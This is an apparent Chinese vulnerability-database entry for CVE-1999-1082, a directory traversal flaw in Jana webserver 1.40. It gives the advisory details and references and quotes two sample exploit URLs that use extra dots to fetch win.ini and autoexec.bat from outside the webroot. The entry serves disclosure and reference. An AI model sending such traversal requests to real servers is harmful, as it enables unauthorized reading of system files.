Jana Webserver目录遍历漏洞

漏洞ID	1105565	漏洞类型	路径遍历
发布时间	1999-10-08	更新时间	2005-10-20
CVE编号	CVE-1999-1082	CNNVD-ID	CNNVD-199910-025
漏洞平台	Windows	CVSS评分	5.0

|漏洞来源

https://www.exploit-db.com/exploits/19540
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-199910-025

|漏洞详情

Janaproxyweb服务器1.40版本中存在目录遍历漏洞。远程攻击者借助一个”……”（修改点点）攻击准备任意文件。

|漏洞EXP

source: http://www.securityfocus.com/bid/699/info


The Jana webserver is susceptible to directory traversal attacks using multiple dots in the URL. If the request is made in specific formats, the server will send out files outside of the intended webroot. 


http ://target/./.././.././.././win.ini
or
http ://target/....../autoexec.bat

|参考资料

来源:BID
名称:699
链接:http://www.securityfocus.com/bid/699
来源:BUGTRAQ
名称:19991008Janawebserverexploit
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=93941794201059&w;=2

相关推荐: IPFilter Firewall Race Condition Vulnerability

IPFilter Firewall Race Condition Vulnerability 漏洞ID 1104063 漏洞类型 Race Condition Error 发布时间 2000-05-26 更新时间 2000-05-26 CVE编号 N/A CN…